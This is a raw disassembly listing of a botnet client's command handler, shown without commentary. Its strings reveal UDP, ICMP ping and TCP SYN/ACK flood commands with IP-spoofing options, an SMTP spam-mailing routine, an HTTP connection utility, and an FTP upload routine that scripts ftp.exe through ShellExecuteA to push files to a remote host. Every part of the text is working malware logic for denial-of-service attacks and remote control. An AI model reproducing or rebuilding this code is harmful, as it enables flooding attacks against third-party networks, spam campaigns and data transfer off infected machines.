call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FCFE
push dword ptr [ebp+10h]
push offset aVvv ; "vvv"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FCFE
push dword ptr [ebp+10h]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FBDE
push dword ptr [ebp+10h]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FBDE
push dword ptr [ebp+10h]
push offset aPu ; "pu"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FBDE
push dword ptr [ebp+10h]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FAAB
push dword ptr [ebp+10h]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FAAB
push dword ptr [ebp+10h]
push offset aPg ; "pg"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40FAAB
push dword ptr [ebp+10h]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40F918
push dword ptr [ebp+10h]
push offset aUsa ; "usa"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40F918
push dword ptr [ebp+10h]
push offset aUtil_email ; "util.email"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40F721
lea eax, [ebp-3E4h]
push edi
push eax
call sub_415BE0
push dword ptr [ebp+20h]
call sub_415A3F
push dword ptr [ebp+8]
mov [ebp+20h], eax
lea eax, [ebp-0D9Ch]
push eax
call sub_415BE0
push dword ptr [ebp+18h]
lea eax, [ebp-0B94h]
push eax
call sub_415BE0
push offset asc_4269C8 ; " "
push offset a_ ; "_"
push dword ptr [ebp+esi-80h]
call sub_40998E
push eax
lea eax, [ebp-548h]
push eax
call sub_415BE0
add esp, 30h
lea eax, [ebp-6F4h]
push eax
push 101h
call ds:dword_43A2F0 ; WSAStartup
lea eax, [ebp-3E4h]
push eax
call ds:dword_43A3FC ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_43A3F8 ; socket
push dword ptr [ebp+20h]
mov esi, eax
mov word ptr [ebp-2D8h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-2D4h], eax
call ds:dword_43A378 ; ntohs
mov [ebp-2D6h], ax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0B94h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-159Ch]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4154CD
add esp, 1Ch
lea eax, [ebp-2D8h]
push 10h
push eax
push esi
call ds:dword_43A320 ; connect
mov edi, 100h
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_43A390 ; recv
lea eax, [ebp-0C98h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-159Ch]
push eax
push esi
call ds:dword_43A3C8 ; send
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_43A390 ; recv
push esi
call ds:dword_43A410 ; closesocket
call ds:dword_43A2D8 ; WSACleanup
lea eax, [ebp-0B94h]
push eax
push offset unk_4351C8
loc_40F6E8: ; CODE XREF: seg000:00410853j
; seg000:00410CB2j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_40F6F7: ; CODE XREF: seg000:00410837j
; seg000:00410AE2j ...
cmp [ebp-8], ebx
jnz loc_4124BC
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
jmp loc_4124BC
; ---------------------------------------------------------------------------
loc_40F721: ; CODE XREF: seg000:0040F592j
push dword ptr [ebp+10h]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40F8EA
push dword ptr [ebp+10h]
push offset aUtil_hcon ; "util.hcon"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40F8EA
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz loc_40D1FD
push dword ptr [ebp+10h]
push offset aFtp_upload ; "ftp.upload"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_412974
push 4
push esi
call sub_40C1E2
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7BF
push esi
push offset dword_43516C
loc_40F786: ; CODE XREF: seg000:0040FA9Cj
; seg000:00410050j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_40F795: ; CODE XREF: seg000:0040FA80j
; seg000:00410034j ...
cmp [ebp-8], ebx
jnz loc_412834
push ebx
push dword ptr [ebp-4]
loc_40F7A2: ; CODE XREF: seg000:00410663j
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
loc_40F7B2: ; CODE XREF: seg000:00411F0Cj
call sub_412D32
add esp, 14h
jmp loc_412834
; ---------------------------------------------------------------------------
loc_40F7BF: ; CODE XREF: seg000:0040F77Ej
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
pop ecx
call sub_415529
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_415529
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_415529
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-0C9Ch]
push edx
push eax
lea eax, [ebp-0B98h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4154CD
lea eax, [ebp-0B98h]
push offset aAb ; "ab"
push eax
call sub_415BC8
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_40D1FD
push esi
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_415B76
push dword ptr [ebp+2Ch]
call sub_415B20
lea eax, [ebp-0B98h]
push eax
lea eax, [ebp-3E4h]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4154CD
add esp, 2Ch
lea eax, [ebp-3E4h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_43A2EC ; ShellExecuteA
test eax, eax
push edi
push esi
jz short loc_40F889
push offset dword_4350F0
jmp short loc_40F88E
; ---------------------------------------------------------------------------
loc_40F889: ; CODE XREF: seg000:0040F880j
push offset dword_4350B0
loc_40F88E: ; CODE XREF: seg000:0040F887j
call sub_4154CD
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40F8B7
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_40F8B7: ; CODE XREF: seg000:0040F899j
lea eax, [ebp-2C8h]
push eax
call sub_40B151
loc_40F8C3: ; CODE XREF: seg000:0040F8E8j
lea eax, [ebp-0B98h]
push 4
push eax
call sub_40C1E2
add esp, 0Ch
test eax, eax
jz loc_40D1FD
lea eax, [ebp-0B98h]
push eax
call sub_4178DC
jmp short loc_40F8C3
; ---------------------------------------------------------------------------
loc_40F8EA: ; CODE XREF: seg000:0040F732j
; seg000:0040F749j
push dword ptr [ebp+esi-80h]
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
call sub_415A3F
pop ecx
push eax
push edi
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_406B01
jmp loc_412971
; ---------------------------------------------------------------------------
loc_40F918: ; CODE XREF: seg000:0040F564j
; seg000:0040F57Bj
mov esi, 80h
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_415A4A
lea eax, [ebp-680h]
push eax
push offset aSyn ; "syn"
call sub_4158F0
add esp, 14h
test eax, eax
jz short loc_40F97B
lea eax, [ebp-680h]
push eax
push offset aAck ; "ack"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40F97B
lea eax, [ebp-680h]
push eax
push offset aRandom ; "random"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40F97B
push offset dword_435074
jmp loc_412012
; ---------------------------------------------------------------------------
loc_40F97B: ; CODE XREF: seg000:0040F941j
; seg000:0040F958j ...
push dword ptr [ebp+18h]
call sub_415A3F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40FAA1
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_415A4A
push dword ptr [ebp+20h]
lea eax, [ebp-700h]
push esi
push eax
call sub_415A4A
push dword ptr [ebp+8]
call sub_415A3F
mov [ebp-57Ch], eax
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_415A4A
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-574h], ebx
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40FA12
mov eax, offset aNormal ; "Normal"
loc_40FA12: ; CODE XREF: seg000:0040FA0Bj
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push eax
push offset dword_43501C
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
push ebx
lea eax, [ebp-2C8h]
push 0Ch
push eax
call sub_414F79
add esp, 2Ch
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset sub_401BD6
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40FA90
loc_40FA7A: ; CODE XREF: seg000:0040FA8Ej
cmp [ebp-568h], ebx
jnz loc_40F795
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40FA7A
; ---------------------------------------------------------------------------
loc_40FA90: ; CODE XREF: seg000:0040FA78j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434FD0
jmp loc_40F786
; ---------------------------------------------------------------------------
loc_40FAA1: ; CODE XREF: seg000:0040F98Cj
push offset dword_434F84
jmp loc_412012
; ---------------------------------------------------------------------------
loc_40FAAB: ; CODE XREF: seg000:0040F51Fj
; seg000:0040F536j ...
cmp ds:dword_43A468, ebx
mov esi, [ebp+0Ch]
jnz loc_40FBB3
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_416D20
push dword ptr [ebp+20h]
call sub_415A3F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_415A3F
push dword ptr [ebp+18h]
mov [ebp-300h], eax
call sub_415A3F
push 7Fh
mov [ebp-2FCh], eax
push dword ptr [ebp-8Ch]
lea eax, [ebp-404h]
push eax
call sub_416D20
push dword ptr [ebp-2FCh]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset unk_434F28
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 0Eh
push eax
call sub_414F79
add esp, 48h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset loc_40A1FB
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40FBA2
loc_40FB90: ; CODE XREF: seg000:0040FBA0j
cmp [ebp-2E8h], ebx
jnz short loc_40FBCC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40FB90
; ---------------------------------------------------------------------------
loc_40FBA2: ; CODE XREF: seg000:0040FB8Ej
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434EDC
jmp loc_41075C
; ---------------------------------------------------------------------------
loc_40FBB3: ; CODE XREF: seg000:0040FAB4j
push 1FFh
lea eax, [ebp-2C8h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_416D20
loc_40FBC9: ; CODE XREF: seg000:00410768j
add esp, 0Ch
loc_40FBCC: ; CODE XREF: seg000:0040FB96j
; seg000:0040FCDDj ...
cmp [ebp-8], ebx
jnz loc_412834
push ebx
push dword ptr [ebp-4]
jmp loc_411EFE
; ---------------------------------------------------------------------------
loc_40FBDE: ; CODE XREF: seg000:0040F4DAj
; seg000:0040F4F1j ...
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_416D20
push dword ptr [ebp+20h]
call sub_415A3F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_415A3F
push dword ptr [ebp+18h]
mov [ebp-300h], eax
call sub_415A3F
mov esi, [ebp+esi-80h]
add esp, 18h
cmp esi, ebx
mov [ebp-2FCh], eax
jz short loc_40FC43
push esi
call sub_415A3F
pop ecx
mov [ebp-2F8h], eax
jmp short loc_40FC49
; ---------------------------------------------------------------------------
loc_40FC43: ; CODE XREF: seg000:0040FC32j
mov [ebp-2F8h], ebx
loc_40FC49: ; CODE XREF: seg000:0040FC41j
push 7Fh
lea eax, [ebp-404h]
push dword ptr [ebp-8Ch]
push eax
call sub_416D20
push dword ptr [ebp-2FCh]
mov esi, [ebp+0Ch]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset dword_434E68
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 0Fh
push eax
call sub_414F79
add esp, 30h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset sub_40A387
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40FCED
loc_40FCD7: ; CODE XREF: seg000:0040FCEBj
cmp [ebp-2E8h], ebx
jnz loc_40FBCC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40FCD7
; ---------------------------------------------------------------------------
loc_40FCED: ; CODE XREF: seg000:0040FCD5j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434E1C
jmp loc_41075C
; ---------------------------------------------------------------------------
loc_40FCFE: ; CODE XREF: seg000:0040F4ACj
; seg000:0040F4C3j
push 8
call sub_4151C1
push dword ptr [ebp+20h]
mov [ebp+10h], eax
call sub_415A3F
add eax, [ebp+10h]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40FD51
push dword ptr [ebp+10h]
lea eax, [ebp-2C8h]
push offset dword_434DC8
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
loc_40FD49: ; CODE XREF: seg000:00411167j
add esp, 20h
jmp loc_412974
; ---------------------------------------------------------------------------
loc_40FD51: ; CODE XREF: seg000:0040FD1Aj
push edi
call sub_415A3F
push dword ptr [ebp+20h]
mov [ebp-31Ch], eax
call sub_415A3F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_415A3F
add esp, 0Ch
cmp eax, 1
mov [ebp-318h], eax
jnb short loc_40FD8A
push 1
pop eax
mov [ebp-318h], eax
loc_40FD8A: ; CODE XREF: seg000:0040FD7Fj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40FD97
mov [ebp-318h], ecx
loc_40FD97: ; CODE XREF: seg000:0040FD8Fj
push dword ptr [ebp+18h]
call sub_415A3F
cmp eax, 1F4h
pop ecx
mov [ebp-314h], eax
jbe short loc_40FDB7
mov dword ptr [ebp-314h], 1F4h
loc_40FDB7: ; CODE XREF: seg000:0040FDABj
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_427300, ebx
mov [ebp+8], ebx
jz short loc_40FE0D
mov dword ptr [ebp+2Ch], offset dword_427300
loc_40FDD0: ; CODE XREF: seg000:0040FDEFj
mov eax, [ebp+2Ch]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40FDF3
add dword ptr [ebp+2Ch], 3Ch
inc dword ptr [ebp+8]
mov eax, [ebp+2Ch]
cmp [eax], ebx
jnz short loc_40FDD0
jmp short loc_40FE0D
; ---------------------------------------------------------------------------
loc_40FDF3: ; CODE XREF: seg000:0040FDE1j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_427300[ecx]
mov [ebp-31Ch], ecx
loc_40FE0D: ; CODE XREF: seg000:0040FDC7j
; seg000:0040FDF1j
cmp [ebp-31Ch], ebx
jz loc_411C2F
mov edi, [ebp+esi-80h]
cmp edi, ebx
mov [ebp+20h], edi
jz short loc_40FE54
cmp byte ptr [edi], 23h
jz short loc_40FE54
push edi
lea eax, [ebp-430h]
push 10h
push eax
call sub_415A4A
push 78h
push edi
call sub_417060
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-2F0h], eax
jmp loc_40FF28
; ---------------------------------------------------------------------------
loc_40FE54: ; CODE XREF: seg000:0040FE22j
; seg000:0040FE27j
cmp [ebp-9B3h], bl
jnz short loc_40FE76
cmp [ebp-9B2h], bl
jnz short loc_40FE76
cmp [ebp-9A2h], bl
jnz short loc_40FE76
push offset dword_434D7C
jmp loc_412012
; ---------------------------------------------------------------------------
loc_40FE76: ; CODE XREF: seg000:0040FE5Aj
; seg000:0040FE62j ...
push 10h
lea eax, [ebp+8]
pop edi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+8], edi
push dword ptr [ebp+0Ch]
call ds:dword_43A31C ; getsockname
mov al, [ebp-9B3h]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_416D20
add esp, 0Ch
cmp [ebp-9A2h], bl
jz short loc_40FF22
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_417020
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_40FF16
loc_40FEF4: ; CODE XREF: seg000:0040FF14j
cmp eax, ebx
jz short loc_40FF16
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_417020
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40FEF4
loc_40FF16: ; CODE XREF: seg000:0040FEF2j
; seg000:0040FEF6j
mov dword ptr [ebp-2F0h], 1
jmp short loc_40FF28
; ---------------------------------------------------------------------------
loc_40FF22: ; CODE XREF: seg000:0040FECCj
mov [ebp-2F0h], ebx
loc_40FF28: ; CODE XREF: seg000:0040FE4Fj
; seg000:0040FF20j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov [ebp-320h], eax
mov eax, [ebp-4]
mov [ebp-2F8h], eax
mov eax, [ebp-8]
mov [ebp-2F4h], eax
mov edi, 80h
lea eax, [ebp-420h]
push edi
push eax
call sub_415A4A
mov esi, [ebp+esi-7Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_40FF79
loc_40FF66: ; CODE XREF: seg000:0040FF9Cj
push esi
loc_40FF67: ; CODE XREF: seg000:0040FF86j
lea eax, [ebp-3A0h]
push edi
push eax
call sub_415A4A
add esp, 0Ch
jmp short loc_40FFA4
; ---------------------------------------------------------------------------
loc_40FF79: ; CODE XREF: seg000:0040FF64j
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40FF88
cmp byte ptr [eax], 23h
jnz short loc_40FF88
push eax
jmp short loc_40FF67
; ---------------------------------------------------------------------------
loc_40FF88: ; CODE XREF: seg000:0040FF7Ej
; seg000:0040FF83j
mov esi, offset aSf1 ; "#sf1"
push offset byte_438F9C
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF66
mov [ebp-3A0h], bl
loc_40FFA4: ; CODE XREF: seg000:0040FF77j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40FFB6
mov eax, offset aSequential ; "Sequential"
loc_40FFB6: ; CODE XREF: seg000:0040FFAFj
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_434CF0
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_414F79
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_407983
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410044
loc_41002E: ; CODE XREF: seg000:00410042j
cmp [ebp-2ECh], ebx
jnz loc_40F795
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41002E
; ---------------------------------------------------------------------------
loc_410044: ; CODE XREF: seg000:0041002Cj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434CA4
jmp loc_40F786
; ---------------------------------------------------------------------------
loc_410055: ; CODE XREF: seg000:0040F46Cj
; seg000:0040F483j
push edi
call sub_415A3F
imul eax, 234h
pop ecx
cmp ds:byte_43F520[eax], bl
jz loc_412974
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
call sub_415CD0
push dword ptr [ebp+10h]
mov esi, eax
call sub_415CD0
push dword ptr [ebp+20h]
add esi, eax
call sub_415CD0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_415AA0
mov esi, eax
lea eax, [ebp-2C8h]
push esi
push offset dword_434C98
push eax
call sub_4154CD
add esp, 20h
cmp esi, ebx
jz loc_412974
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push dword ptr [ebp+20h]
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412D32
push edi
call sub_415A3F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_43F308[eax], 73h
jnz loc_412974
push esi
push edi
call sub_415A3F
imul eax, 234h
pop ecx
add eax, offset byte_43F520
push eax
push dword ptr [ebp+20h]
push offset aSSS_1 ; "[%s] * %s %s"
loc_41013D: ; CODE XREF: seg000:0041023Aj
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
loc_410162: ; CODE XREF: seg000:004120DAj
add esp, 28h
jmp loc_412974
; ---------------------------------------------------------------------------
loc_41016A: ; CODE XREF: seg000:0040F43Ej
; seg000:0040F455j
push edi
call sub_415A3F
imul eax, 234h
pop ecx
cmp ds:byte_43F520[eax], bl
jz loc_412974
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
call sub_415CD0
push dword ptr [ebp+10h]
mov esi, eax
call sub_415CD0
push dword ptr [ebp+20h]
add esi, eax
call sub_415CD0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_415AA0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_412974
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
push ebx
push ebx
push esi
push dword ptr [ebp+20h]
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412D32
push edi
call sub_415A3F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_43F308[eax], 73h
jnz loc_412974
push esi
push edi
call sub_415A3F
imul eax, 234h
pop ecx
add eax, offset byte_43F520
push eax
push dword ptr [ebp+20h]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_41013D
; ---------------------------------------------------------------------------
loc_41023F: ; CODE XREF: seg000:0040F410j
; seg000:0040F427j
push edi
call ds:dword_43A3B8 ; inet_addr
push dword ptr [ebp+20h]
mov [ebp-460h], eax
call sub_415A3F
push dword ptr [ebp+8]
mov [ebp-46Ch], eax
call sub_415A3F
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-468h], eax
lea eax, [ebp-4ECh]
mov [ebp-4F0h], esi
push eax
call sub_416D20
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-458h], edi
push dword ptr [ebp-468h]
mov [ebp-454h], eax
push dword ptr [ebp-46Ch]
push dword ptr [ebp-460h]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp-2C8h]
push offset unk_434C28
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_414F79
add esp, 20h
mov [ebp-464h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F0h]
push ebx
push eax
push offset sub_41454F
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-464h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410321
loc_41030B: ; CODE XREF: seg000:0041031Fj
cmp [ebp-450h], ebx
jnz loc_411EF3
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41030B
; ---------------------------------------------------------------------------
loc_410321: ; CODE XREF: seg000:00410309j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434BD8
jmp loc_411EE4
; ---------------------------------------------------------------------------
loc_410332: ; CODE XREF: seg000:0040F3E2j
; seg000:0040F3F9j
push edi
call sub_415A3F
push 7Fh
mov [ebp-300h], eax
push dword ptr [ebp+20h]
lea eax, [ebp-404h]
push eax
call sub_416D20
push dword ptr [ebp+8]
call sub_415A3F
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-304h], eax
lea eax, [ebp-384h]
push 80h
push eax
mov [ebp-40Ch], esi
call sub_415A4A
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-2F0h], eax
push dword ptr [ebp-304h]
lea eax, [ebp-404h]
mov [ebp-2F4h], edi
push eax
push dword ptr [ebp-300h]
push esi
call sub_40A155
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset unk_434B88
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 10h
push eax
call sub_414F79
add esp, 24h
mov [ebp-2FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-40Ch]
push ebx
push eax
push offset sub_407BE2
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-2FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_41041B
loc_410405: ; CODE XREF: seg000:00410419j
cmp [ebp-2ECh], ebx
jnz loc_411EF3
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410405
; ---------------------------------------------------------------------------
loc_41041B: ; CODE XREF: seg000:00410403j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434B34
jmp loc_411EE4
; ---------------------------------------------------------------------------
loc_41042C: ; CODE XREF: seg000:0040F3B4j
; seg000:0040F3CBj
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_416D20
push 0FFh
lea eax, [ebp-688h]
push dword ptr [ebp+20h]
push eax
call sub_416D20
push dword ptr [ebp+8]
mov [ebp-584h], ebx
call sub_415A3F
mov [ebp-580h], eax
mov eax, [ebp+esi-84h]
add esp, 1Ch
cmp eax, ebx
jz short loc_410488
push 10h
push ebx
push eax
call sub_416A69
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_41048E
; ---------------------------------------------------------------------------
loc_410488: ; CODE XREF: seg000:00410472j
mov [ebp-578h], ebx
loc_41048E: ; CODE XREF: seg000:00410486j
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz short loc_4104A5
push esi
call sub_415A3F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_4104AB
; ---------------------------------------------------------------------------
loc_4104A5: ; CODE XREF: seg000:00410494j
mov [ebp-57Ch], ebx
loc_4104AB: ; CODE XREF: seg000:004104A3j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_416D20
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
push edi
lea eax, [ebp-2C8h]
